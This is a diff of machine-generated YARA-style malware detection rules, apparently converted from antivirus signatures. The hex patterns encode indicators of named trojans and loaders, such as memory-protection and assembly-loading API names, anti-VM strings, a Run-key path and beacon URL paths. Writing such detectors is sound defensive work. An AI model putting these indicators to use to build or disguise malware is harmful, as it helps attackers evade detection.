72 73 65 01 00 12 01 4b 68 79 68 66 6a 6d 63 76 6b 6e } //16675 $a_6e_1 = {65 62 01 00 0b 81 01 48 70 78 64 70 62 77 73 6a 64 77 01 00 0a 01 70 6f 77 65 72 73 68 65 6c 6c 01 00 11 81 01 63 6d 64 20 2f 43 20 74 69 6d 65 6f 75 74 20 32 32 01 00 20 81 01 4b 68 79 68 66 6a 6d 63 76 6b 6e 6f 6f 6b 6e 6b 65 62 2e 47 6d 75 74 73 6f 75 78 71 70 69 79 6d 01 00 24 81 01 58 7a 78 73 66 64 73 62 7a 6a 77 } //28527 - $a_67_2 = {50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 01 00 25 81 01 24 38 37 35 38 38 36 39 65 2d 33 64 30 35 2d 34 30 37 62 2d 61 34 34 61 2d 65 65 37 31 37 35 39 39 36 62 65 65 00 00 78 0d 01 00 0b 00 0b 00 0b 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 46 69 6c 65 43 6f 64 65 72 2e 53 49 21 4d 54 42 00 01 00 0e } //25209 - $a_69_3 = {74 75 61 6c 50 72 6f 74 65 63 74 01 00 0c 81 01 4d 65 6d 6f 72 79 53 74 72 65 61 6d 01 00 10 81 01 53 79 73 74 65 6d 2e 54 68 72 65 61 64 69 6e 67 01 00 0a 81 01 4c 6f 61 64 4d 6f 64 75 6c 65 01 00 14 81 01 47 65 74 45 78 65 63 75 74 69 6e 67 41 73 73 65 6d } //385 - $a_01_4 = {00 0e 81 01 54 6f 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 10 81 01 47 65 74 45 6e 74 72 79 41 73 73 65 6d 62 6c 79 01 00 08 81 01 44 65 62 75 67 67 65 72 01 00 0e 81 01 67 65 74 5f 49 73 41 74 74 61 63 68 65 64 01 00 0a 81 01 43 6f 6e 66 75 73 65 72 45 78 01 00 25 81 01 24 62 35 33 38 64 32 35 36 2d 63 31 31 61 2d 34 33 34 61 2d 39 63 34 37 2d 35 32 32 64 33 } //27746 - $a_37_5 = {37 33 00 00 78 0d 01 00 0c 00 0c 00 0c 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 70 79 4e 6f 6f 6e 2e 52 52 48 32 32 30 36 21 4d 54 42 00 } //25652 - $a_01_6 = {25 57 49 4e 44 49 52 25 } //1 %WINDIR% - $a_01_7 = {25 54 45 4d 50 25 } //1 %TEMP% - $a_01_8 = {78 66 67 61 6a 6d 63 6b 62 61 63 6b 62 72 } //1 xfgajmckbackbr - $a_01_9 = {70 66 6e 61 62 71 68 7a 77 64 6d 7a } //1 pfnabqhzwdmz + $a_67_2 = {50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 01 00 25 81 01 24 38 37 35 38 38 36 39 65 2d 33 64 30 35 2d 34 30 37 62 2d 61 34 34 61 2d 65 65 37 31 37 35 39 39 36 62 65 65 00 00 78 0d 01 00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 54 49 21 4d 54 42 00 01 } //25209 + $a_01_3 = {5c 68 61 6c 6c 6a 5c 6c 69 76 6c 69 67 65 72 65 01 00 0c 81 01 5c 67 72 79 64 65 6e 73 2e 68 74 6d 01 00 16 81 01 61 6e 73 74 74 65 6c 73 65 73 70 6c 61 6e 65 72 6e 65 2e 74 78 74 01 00 0b 81 01 64 72 75 64 67 65 73 2e 6a 70 67 01 00 12 81 01 68 61 61 6e 64 6b 61 6e 74 73 73 6c 61 67 2e 6d 79 65 01 00 18 81 01 6b 61 70 61 63 69 74 65 74 73 75 64 6e 79 74 74 65 6c 73 65 2e 68 6a 65 01 } //4096 + $a_01_4 = {73 6f 6c 65 6e 6e 69 74 65 74 73 73 61 6c 73 2e 66 72 65 01 00 17 81 01 75 6f 76 65 72 65 6e 73 73 74 65 6d 6d 65 6c 73 65 72 73 2e 6a 65 6e 01 00 0e 81 01 5c 47 65 6e 69 75 73 31 37 34 2e 68 74 6d 01 00 0f 81 01 5c 68 61 75 6c 61 67 65 77 61 79 2e 62 69 6e 00 00 78 0d 01 00 0b 00 0b 00 0b 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 46 69 6c 65 43 6f 64 65 72 2e 53 49 21 } //4864 + $a_00_5 = {01 00 0e 81 01 56 69 72 74 75 61 6c 50 72 6f 74 65 63 74 01 00 0c 81 01 4d 65 6d 6f 72 79 53 74 72 65 61 6d 01 00 10 81 01 53 79 73 74 65 6d 2e 54 68 72 65 61 64 69 6e 67 01 00 0a 81 01 4c 6f 61 64 } //21581 + $a_75_6 = {65 01 00 14 81 01 47 65 74 45 78 65 63 75 74 69 6e 67 41 73 73 65 6d 62 6c 79 01 00 0e 81 01 54 6f 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 10 81 01 47 65 74 45 6e 74 72 79 41 73 73 65 6d 62 6c 79 01 00 08 81 01 44 65 62 75 67 67 65 72 01 00 0e 81 01 67 65 74 5f 49 73 41 74 74 61 63 68 65 64 01 00 } //28493 + $a_43_7 = {6e } //-32502 n + $a_65_8 = {45 78 01 00 25 81 01 24 62 35 33 38 64 32 35 36 2d 63 31 31 61 2d 34 33 34 61 2d 39 63 34 37 2d 35 32 32 64 33 34 64 36 37 39 37 33 00 00 78 0d 01 00 0c 00 0c 00 0c 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 70 79 4e 6f 6f 6e 2e 52 52 48 32 32 30 36 21 4d 54 42 00 01 00 08 01 25 57 49 4e 44 49 52 25 01 00 06 01 25 54 45 } //30054 + $a_01_9 = {00 0e 01 78 66 67 61 6a 6d 63 6b 62 61 63 6b 62 72 01 00 0c 01 70 66 6e 61 62 71 68 7a 77 64 6d 7a 01 00 0e 01 } //20557 condition: - ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*28527+(#a_67_2 & 1)*25209+(#a_69_3 & 1)*385+(#a_01_4 & 1)*27746+(#a_37_5 & 1)*25652+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1) >=10 + ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*28527+(#a_67_2 & 1)*25209+(#a_01_3 & 1)*4096+(#a_01_4 & 1)*4864+(#a_00_5 & 1)*21581+(#a_75_6 & 1)*28493+(#a_43_7 & 1)*-32502+(#a_65_8 & 1)*30054+(#a_01_9 & 1)*20557) >=10 } -rule _InfrastructureShared_16575{ +rule _InfrastructureShared_17666{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 54 49 21 4d 54 42 00 01 00 10 81 01 5c 68 61 6c 6c 6a 5c 6c 69 76 6c 69 67 65 72 65 01 00 0c 81 01 5c 67 72 79 64 65 6e 73 2e 68 74 6d 01 00 16 81 01 61 6e 73 74 74 65 6c 73 65 } //18467 + $a_61_1 = {65 72 6e 65 2e 74 78 74 01 00 0b 81 01 64 72 75 64 67 65 73 2e 6a 70 67 01 00 12 81 01 68 61 61 6e 64 6b 61 6e 74 73 73 6c 61 67 2e 6d 79 65 01 00 18 81 01 6b 61 70 61 63 69 74 65 74 73 75 64 6e 79 74 74 65 6c 73 65 2e 68 6a 65 01 00 13 81 01 73 6f 6c 65 6e 6e 69 74 65 74 73 73 61 6c 73 2e 66 72 65 01 00 17 81 01 75 6f 76 } //28787 + $a_6e_2 = {73 74 65 6d 6d 65 6c 73 65 72 73 2e 6a 65 6e 01 00 0e 81 01 5c 47 65 6e 69 75 73 31 37 34 2e 68 74 6d 01 00 0f 81 01 5c 68 61 75 6c 61 67 65 77 61 79 2e 62 69 6e 00 00 78 0d 01 00 0b 00 0b 00 0b 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 46 69 6c 65 43 6f 64 65 72 2e 53 49 21 4d 54 42 00 } //29285 + $a_81_3 = {56 69 72 74 75 61 6c 50 72 6f 74 65 63 74 } //1 VirtualProtect + $a_81_4 = {4d 65 6d 6f 72 79 53 74 72 65 61 6d } //1 MemoryStream + $a_81_5 = {53 79 73 74 65 6d 2e 54 68 72 65 61 64 69 6e 67 } //1 System.Threading + $a_81_6 = {4c 6f 61 64 4d 6f 64 75 6c 65 } //1 LoadModule + $a_81_7 = {47 65 74 45 78 65 63 75 74 69 6e 67 41 73 73 65 6d 62 6c 79 } //1 GetExecutingAssembly + $a_81_8 = {54 6f 42 61 73 65 36 34 53 74 72 69 6e 67 } //1 ToBase64String + $a_81_9 = {47 65 74 45 6e 74 72 79 41 73 73 65 6d 62 6c 79 } //1 GetEntryAssembly + condition: + ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*28787+(#a_6e_2 & 1)*29285+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1+(#a_81_7 & 1)*1+(#a_81_8 & 1)*1+(#a_81_9 & 1)*1) >=10 + +} +rule _InfrastructureShared_17667{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -195367,7 +208479,7 @@ rule _InfrastructureShared_16575{ ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*21550+(#a_49_2 & 1)*29797+(#a_70_3 & 1)*12082+(#a_68_4 & 1)*30561+(#a_00_6 & 1)*69+(#a_26_7 & 1)*0+(#a_00_8 & 1)*28522+(#a_00_10 & 1)*119) >=11 } -rule _InfrastructureShared_16576{ +rule _InfrastructureShared_17668{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -195386,7 +208498,7 @@ rule _InfrastructureShared_16576{ ((#a_54_0 & 1)*18467+(#a_77_1 & 1)*26737+(#a_90_2 & 1)*12034+(#a_01_3 & 1)*30720+(#a_6a_4 & 1)*29268+(#a_00_6 & 1)*83+(#a_00_7 & 1)*112+(#a_00_9 & 1)*86+(#a_00_10 & 1)*15221+(#a_6f_11 & 1)*384) >=12 } -rule _InfrastructureShared_16577{ +rule _InfrastructureShared_17669{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 04 00 21 " @@ -195399,7 +208511,7 @@ rule _InfrastructureShared_16577{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*4374+(#a_00_2 & 1)*28424+(#a_00_3 & 1)*114) >=16 } -rule _InfrastructureShared_16578{ +rule _InfrastructureShared_17670{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 0a 00 21 " @@ -195417,7 +208529,7 @@ rule _InfrastructureShared_16578{ ((#a_46_0 & 1)*16675+(#a_64_1 & 1)*28524+(#a_74_3 & 1)*26625+(#a_01_4 & 1)*100+(#a_01_5 & 1)*100+(#a_01_6 & 1)*100+(#a_01_7 & 1)*100+(#a_0e_8 & 1)*0+(#a_0f_9 & 1)*400) >=16 } -rule _InfrastructureShared_16579{ +rule _InfrastructureShared_17671{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffff90 01 ffffff90 01 04 00 21 " @@ -195428,7 +208540,7 @@ rule _InfrastructureShared_16579{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*68) >=400 } -rule _InfrastructureShared_16580{ +rule _InfrastructureShared_17672{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -195438,7 +208550,7 @@ rule _InfrastructureShared_16580{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_16581{ +rule _InfrastructureShared_17673{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -195448,7 +208560,7 @@ rule _InfrastructureShared_16581{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_16582{ +rule _InfrastructureShared_17674{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -195460,7 +208572,7 @@ rule _InfrastructureShared_16582{ ((#a_46_0 & 1)*16675+(#a_2d_1 & 1)*2305+(#a_00_3 & 1)*103) >=2 } -rule _InfrastructureShared_16583{ +rule _InfrastructureShared_17675{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 06 00 21 " @@ -195470,22 +208582,12 @@ rule _InfrastructureShared_16583{ $a_32_2 = {33 33 32 39 37 33 30 33 33 34 35 33 34 35 32 36 31 01 00 1e 01 31 34 31 33 35 34 32 39 31 33 32 34 33 35 31 33 30 33 33 36 36 33 36 36 33 36 36 31 34 31 01 } //13104 $a_31_3 = {35 } //9216 5 $a_33_4 = {34 32 39 31 33 33 36 33 31 35 31 35 33 31 35 30 31 33 38 33 30 30 33 32 34 33 32 34 01 00 18 01 33 34 32 33 30 33 33 34 35 33 33 36 33 33 33 33 } //12339 - $a_34_5 = {33 30 33 00 00 78 0e 01 00 03 00 03 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4a 61 6c 61 70 65 6e 6f 2e 4e 49 54 21 4d 54 42 00 02 } //12339 + $a_34_5 = {33 30 33 00 00 78 0e 01 00 03 00 03 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 44 6f 77 6e 6c 6f 61 64 65 72 2e 52 4b 21 4d 54 42 00 } //12339 condition: ((#a_46_0 & 1)*16675+(#a_31_1 & 1)*12598+(#a_32_2 & 1)*13104+(#a_31_3 & 1)*9216+(#a_33_4 & 1)*12339+(#a_34_5 & 1)*12339) >=2 } -rule _InfrastructureShared_16584{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 21 " - - strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4a 61 6c 61 70 65 6e 6f 2e 4e 49 54 21 4d 54 42 00 02 00 70 01 12 00 12 01 28 02 00 00 06 07 28 01 00 00 0a 0c 7e 05 00 00 04 0d 08 7e 06 00 00 04 6f 02 00 00 0a 13 04 11 04 14 28 03 00 00 0a } //16675 - condition: - ((#a_46_0 & 1)*16675) >=3 - -} -rule _InfrastructureShared_16585{ +rule _InfrastructureShared_17676{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -195496,7 +208598,7 @@ rule _InfrastructureShared_16585{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*47) >=3 } -rule _InfrastructureShared_16586{ +rule _InfrastructureShared_17677{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -195508,19 +208610,34 @@ rule _InfrastructureShared_16586{ ((#a_46_0 & 1)*16675+(#a_8a_1 & 1)*7056+(#a_90_2 & 1)*-30720) >=3 } -rule _InfrastructureShared_16587{ +rule _InfrastructureShared_17678{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " strings : $a_46_0 = {50 55 41 3a 57 69 6e 33 32 2f 48 69 64 61 70 21 62 69 74 00 01 00 5a 01 53 00 4f 00 46 00 54 00 57 00 41 00 52 00 45 00 5c 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 } //16675 $a_00_1 = {75 00 72 00 72 00 65 00 6e 00 74 00 56 00 65 00 72 00 73 00 69 00 6f 00 6e 00 5c 00 52 00 75 00 6e 00 01 00 0e 01 61 00 70 00 70 00 68 00 69 00 64 00 65 00 01 00 3a 01 62 00 66 00 2e 00 64 00 65 00 73 } //92 - $a_00_3 = {2e 00 62 00 6f 00 6f 00 74 00 70 00 61 00 67 00 65 00 2e 00 42 00 6f 00 6f 00 74 00 50 00 61 00 67 00 65 00 32 00 01 00 3a 03 42 00 44 00 4d 00 54 00 72 00 61 00 79 00 57 00 6e 00 64 00 90 02 10 42 00 44 00 4d 00 54 00 72 00 61 00 79 00 90 02 10 42 00 44 00 4b 00 56 00 54 00 72 00 61 00 79 00 90 00 00 00 78 0e 01 00 03 00 03 00 08 00 } //111 + $a_00_3 = {2e 00 62 00 6f 00 6f 00 74 00 70 00 61 00 67 00 65 00 2e 00 42 00 6f 00 6f 00 74 00 50 00 61 00 67 00 65 00 32 00 01 00 3a 03 42 00 44 00 4d 00 54 00 72 00 61 00 79 00 57 00 6e 00 64 00 90 02 10 42 00 44 00 4d 00 54 00 72 00 61 00 79 00 90 02 10 42 00 44 00 4b 00 56 00 54 00 72 00 61 00 79 00 90 00 00 00 78 0e 01 00 03 00 03 00 07 00 } //111 condition: ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*92+(#a_00_3 & 1)*111) >=3 } -rule _InfrastructureShared_16588{ +rule _InfrastructureShared_17679{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 07 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 6f 72 7a 69 74 61 2e 41 00 02 00 1e 01 49 8b 09 4e 8d 5c 01 d8 4c 01 c1 45 31 c0 47 8a 14 03 49 ff c0 44 30 11 48 ff c1 4c 39 c2 02 00 24 03 44 8a 02 44 32 42 d8 41 ff c2 48 ff c2 44 88 } //16675 + $a_32_1 = {90 01 02 00 00 44 88 42 ff 41 83 fa 28 75 90 00 02 00 11 01 48 c7 c0 42 00 00 00 48 c7 c1 12 00 00 00 48 01 c8 01 00 19 01 48 79 70 65 72 2d 56 00 56 69 72 74 75 61 6c 42 6f 78 00 56 4d 77 61 72 65 01 00 } //-190 + $a_69_2 = {72 6f 73 6f 66 74 20 42 61 73 69 63 20 44 69 73 70 6c 61 79 20 41 64 61 70 74 65 72 00 52 65 64 20 48 61 74 01 00 2e 01 45 6e 75 6d 44 69 73 70 6c 61 79 44 65 76 69 63 65 73 41 00 8e 00 49 6e 74 65 72 6e 65 74 43 68 65 63 6b 43 6f } //295 + $a_63_3 = {69 6f 6e 41 01 00 0c 01 4d 00 59 00 52 00 45 00 53 00 00 00 00 00 78 0e 01 00 03 00 03 00 08 00 21 23 48 53 54 52 3a 54 72 61 76 61 6c 6f 72 6b 2e 41 31 00 01 00 1e 01 2f 00 43 00 4f 00 55 00 4e 00 54 00 2f 00 75 00 70 00 6d 00 65 00 2e 00 70 00 6e 00 67 00 01 00 2a 01 2e 00 63 00 6f 00 6d 00 2f 00 43 } //28270 + $a_00_5 = {2f 00 76 00 65 00 72 00 73 00 61 00 6f 00 2e 00 74 00 78 00 74 00 01 00 16 01 2f 00 70 00 6f 00 73 00 74 00 55 00 50 00 2e 00 70 00 68 00 70 00 01 00 10 01 70 00 6c 00 75 00 67 00 3d 00 53 00 49 00 4d 00 01 00 10 01 70 00 6c 00 75 00 67 00 3d 00 4e 00 } //78 + $a_00_6 = {01 00 12 01 5c 00 57 00 69 00 6e 00 42 00 6c 00 6f 00 63 00 6b 00 01 00 20 01 49 00 6d 00 61 00 67 00 65 00 35 00 4d 00 6f 00 75 00 73 00 65 00 45 00 6e 00 74 00 65 00 72 00 01 00 22 01 49 00 6d 00 61 00 67 00 65 00 33 00 30 00 4d 00 6f } //65 + condition: + ((#a_46_0 & 1)*16675+(#a_32_1 & 1)*-190+(#a_69_2 & 1)*295+(#a_63_3 & 1)*28270+(#a_00_5 & 1)*78+(#a_00_6 & 1)*65) >=3 + +} +rule _InfrastructureShared_17680{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 08 00 21 " @@ -195535,7 +208652,7 @@ rule _InfrastructureShared_16588{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*116+(#a_00_3 & 1)*116+(#a_33_5 & 1)*-1536+(#a_00_6 & 1)*0+(#a_31_7 & 1)*12337) >=3 } -rule _InfrastructureShared_16589{ +rule _InfrastructureShared_17681{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -195547,7 +208664,7 @@ rule _InfrastructureShared_16589{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*0+(#a_00_3 & 1)*0) >=4 } -rule _InfrastructureShared_16590{ +rule _InfrastructureShared_17682{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -195559,7 +208676,7 @@ rule _InfrastructureShared_16590{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*68+(#a_90_3 & 1)*29793) >=4 } -rule _InfrastructureShared_16591{ +rule _InfrastructureShared_17683{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -195572,7 +208689,7 @@ rule _InfrastructureShared_16591{ ((#a_6c_0 & 1)*16675+(#a_66_1 & 1)*25955+(#a_70_2 & 1)*25445+(#a_6e_3 & 1)*22330) >=4 } -rule _InfrastructureShared_16592{ +rule _InfrastructureShared_17684{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -195584,7 +208701,7 @@ rule _InfrastructureShared_16592{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*114+(#a_00_3 & 1)*105) >=4 } -rule _InfrastructureShared_16593{ +rule _InfrastructureShared_17685{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -195596,7 +208713,7 @@ rule _InfrastructureShared_16593{ ((#a_46_0 & 1)*21283+(#a_18_1 & 1)*-16625+(#a_ff_3 & 1)*-6987) >=4 } -rule _InfrastructureShared_16594{ +rule _InfrastructureShared_17686{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -195611,7 +208728,7 @@ rule _InfrastructureShared_16594{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*111+(#a_00_2 & 1)*45+(#a_22_3 & 1)*25966+(#a_01_4 & 1)*30821+(#a_56_5 & 1)*19525) >=4 } -rule _InfrastructureShared_16595{ +rule _InfrastructureShared_17687{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 07 00 21 " @@ -195627,7 +208744,7 @@ rule _InfrastructureShared_16595{ ((#a_46_0 & 1)*16675+(#a_29_1 & 1)*29285+(#a_69_2 & 1)*27507+(#a_65_3 & 1)*26957+(#a_03_4 & 1)*-28483+(#a_24_5 & 1)*25855+(#a_c4_6 & 1)*13570) >=4 } -rule _InfrastructureShared_16596{ +rule _InfrastructureShared_17688{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 0c 00 21 " @@ -195647,7 +208764,7 @@ rule _InfrastructureShared_16596{ ((#a_4c_0 & 1)*21539+(#a_ff_1 & 1)*400+(#a_00_2 & 1)*144+(#a_90_3 & 1)*-31984+(#a_00_5 & 1)*1+(#a_53_6 & 1)*8993+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1+(#a_01_11 & 1)*1) >=4 } -rule _InfrastructureShared_16597{ +rule _InfrastructureShared_17689{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 0d 00 21 " @@ -195668,7 +208785,7 @@ rule _InfrastructureShared_16597{ ((#a_54_0 & 1)*18467+(#a_4e_1 & 1)*29524+(#a_54_2 & 1)*28245+(#a_1d_3 & 1)*-9421+(#a_ff_4 & 1)*-284+(#a_05_5 & 1)*22551+(#a_01_6 & 1)*9216+(#a_2e_7 & 1)*26723+(#a_70_8 & 1)*23589+(#a_72_10 & 1)*14081+(#a_61_11 & 1)*29798+(#a_70_12 & 1)*29797) >=4 } -rule _InfrastructureShared_16598{ +rule _InfrastructureShared_17690{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 03 00 04 00 21 " @@ -195681,7 +208798,7 @@ rule _InfrastructureShared_16598{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*258+(#a_00_2 & 1)*-1+(#a_39_3 & 1)*532) >=3 } -rule _InfrastructureShared_16599{ +rule _InfrastructureShared_17691{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -195693,7 +208810,7 @@ rule _InfrastructureShared_16599{ ((#a_54_0 & 1)*18467+(#a_05_1 & 1)*156+(#a_34_4 & 1)*12289) >=5 } -rule _InfrastructureShared_16600{ +rule _InfrastructureShared_17692{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -195708,7 +208825,7 @@ rule _InfrastructureShared_16600{ ((#a_54_0 & 1)*18467+(#a_68_1 & 1)*28537+(#a_67_2 & 1)*26987+(#a_64_3 & 1)*26214+(#a_2f_4 & 1)*24943+(#a_00_5 & 1)*1) >=6 } -rule _InfrastructureShared_16601{ +rule _InfrastructureShared_17693{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 06 00 21 " @@ -195723,7 +208840,7 @@ rule _InfrastructureShared_16601{ ((#a_54_0 & 1)*18467+(#a_4d_1 & 1)*24943+(#a_6f_2 & 1)*28279+(#a_01_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1) >=7 } -rule _InfrastructureShared_16602{ +rule _InfrastructureShared_17694{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -195738,7 +208855,7 @@ rule _InfrastructureShared_16602{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*117+(#a_75_3 & 1)*29541+(#a_0e_4 & 1)*0+(#a_73_5 & 1)*385+(#a_73_6 & 1)*30060) >=7 } -rule _InfrastructureShared_16603{ +rule _InfrastructureShared_17695{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -195754,7 +208871,7 @@ rule _InfrastructureShared_16603{ ((#a_54_0 & 1)*18467+(#a_76_1 & 1)*25939+(#a_6e_2 & 1)*385+(#a_64_3 & 1)*26727+(#a_67_4 & 1)*26230+(#a_62_5 & 1)*29812+(#a_41_6 & 1)*21038) >=7 } -rule _InfrastructureShared_16604{ +rule _InfrastructureShared_17696{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -195769,7 +208886,7 @@ rule _InfrastructureShared_16604{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*28531+(#a_01_2 & 1)*4864+(#a_65_3 & 1)*24929+(#a_65_5 & 1)*23553+(#a_74_6 & 1)*31090) >=7 } -rule _InfrastructureShared_16605{ +rule _InfrastructureShared_17697{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -195786,7 +208903,7 @@ rule _InfrastructureShared_16605{ ((#a_54_0 & 1)*18467+(#a_5c_1 & 1)*28261+(#a_6c_2 & 1)*28718+(#a_52_3 & 1)*-32500+(#a_4c_4 & 1)*28021+(#a_01_5 & 1)*29813+(#a_31_6 & 1)*29537+(#a_26_7 & 1)*26624) >=8 } -rule _InfrastructureShared_16606{ +rule _InfrastructureShared_17698{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -195804,7 +208921,7 @@ rule _InfrastructureShared_16606{ ((#a_46_0 & 1)*16675+(#a_6d_1 & 1)*29254+(#a_2d_2 & 1)*13411+(#a_42_3 & 1)*19745+(#a_65_4 & 1)*7718+(#a_56_5 & 1)*28261+(#a_00_6 & 1)*26478+(#a_76_7 & 1)*18689+(#a_6d_8 & 1)*30060) >=9 } -rule _InfrastructureShared_16607{ +rule _InfrastructureShared_17699{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -195823,7 +208940,7 @@ rule _InfrastructureShared_16607{ ((#a_46_0 & 1)*16675+(#a_68_1 & 1)*7424+(#a_14_2 & 1)*29726+(#a_65_3 & 1)*28265+(#a_00_4 & 1)*26996+(#a_3a_5 & 1)*385+(#a_6f_6 & 1)*17921+(#a_48_7 & 1)*284+(#a_61_8 & 1)*26470+(#a_6f_9 & 1)*27756) >=10 } -rule _InfrastructureShared_16608{ +rule _InfrastructureShared_17700{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -195842,7 +208959,7 @@ rule _InfrastructureShared_16608{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*28518+(#a_70_2 & 1)*16641+(#a_59_3 & 1)*22126+(#a_73_4 & 1)*26465+(#a_67_5 & 1)*12033+(#a_00_6 & 1)*1+(#a_6e_7 & 1)*27247+(#a_6e_8 & 1)*17266+(#a_00_9 & 1)*25697) >=10 } -rule _InfrastructureShared_16609{ +rule _InfrastructureShared_17701{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -195861,7 +208978,7 @@ rule 